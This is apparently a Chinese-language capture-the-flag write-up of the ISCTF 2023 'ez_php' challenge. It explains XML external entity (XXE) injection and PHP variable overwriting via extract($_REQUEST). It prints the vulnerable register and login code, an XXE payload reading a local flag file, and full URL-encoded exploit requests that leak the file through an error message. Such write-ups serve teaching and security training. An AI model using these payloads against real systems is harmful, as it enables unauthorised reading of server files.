ez_php
去年ISCTF新生赛的一道,补一下XXE
https://github.com/ISCTF/ISCTF2023_public/tree/master/web/ez_php
前置知识
XXE读文件的payload:
<?xml version='1.0'?>
<!DOCTYPE userinfo [
<!ENTITY xxe SYSTEM "file:///D:/flag.txt">
]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>
1.DTD:
<!DOCTYPE userinfo [...]>
代表文档类型定义,可以定义xml文件的一些结构和属性,包括定义实体变量
2.实体变量
<!ENTITY xxe SYSTEM "file:///D:/flag.txt">
在DTD中,声明了变量xxe。加了SYSTEM关键字表示从接下来这个uri去读取内容赋值给变量xxe。在正文中通过&xxe来引用。比如这里userinfo的user的username,在被解析后就设为了D:/flag.txt的内容。
wp
一个小型php网站,先看注册的逻辑register.php
<?php
include "utils/function.php";
$config = include "utils/config.php";
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST);
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");
if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password);
register_user($username, $config['user_info_dir'], $user_xml);
大致就是extract解析出username和password,先根据userinfo目录下是否已经存在指定用户名的xml文件名,然后把用username和password格式化后的xml字符串写到userinfo目录下,文件名为用户名.xml的文件中
然后看登陆的逻辑login.php
<?php
include "utils/function.php";
$config = include "utils/config.php";
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
$user_record = get_user_record($username, $config['user_info_dir']);
if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
header("Location:main.html");
跟进get_user_record函数:
function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}
会返回指定用户信息的xml,包含注册时存下的username和password
登陆的时候会根据用户名访问指定的用户名.xml文件,判断输入的用户名密码是否和xml对象的用户名密码一致
解题思路
在register.php存在变量覆盖:
extract($_REQUEST);
因此可以覆盖$user_xml_format成我们的XXE payload:
<?xml version='1.0'?>
<!DOCTYPE userinfo [
<!ENTITY xxe SYSTEM "file:///D:/flag.txt">
]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>
注册的时候,会在userinfo/用户名.xml写入这个payload
回显点在login.php中,密码错误的地方:
if($user_record->user->password != $password)
die("Password error for User:".$user_record->user->username);
这里会die出xml中解析出的username,而不是我们传参的username
因此,思路为:先在register.php传入任意的用户名、密码,并传入带payload的user_xml_format来变量覆盖
然后登陆的时候输入之前注册的用户名让靶机去解析我们的恶意payload,然后输错误的密码来让他把解析过后的flag在username中回显出来
payload:
注册:
127.0.0.1/register.php?username=54321&password=54321&user_xml_format=%3C%3Fxml%20version%3D%271%2E0%27%3F%3E%0A%20%20%20%20%3C%21DOCTYPE%20userinfo%20%5B%0A%20%20%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2FD%3A%2Fflag%2Etxt%22%3E%0A%20%20%20%20%5D%3E%20%20%20%20%0A%20%20%20%20%3Cuserinfo%3E%0A%20%20%20%20%20%20%20%20%3Cuser%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cusername%3E%26xxe%3B%3C%2Fusername%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cpassword%3E123%3C%2Fpassword%3E%0A%20%20%20%20%20%20%20%20%3C%2Fuser%3E%0A%20%20%20%20%3C%2Fuserinfo%3E%0A
登入:
http://127.0.0.1/login.php?username=54321&password=1
Comments NOTHING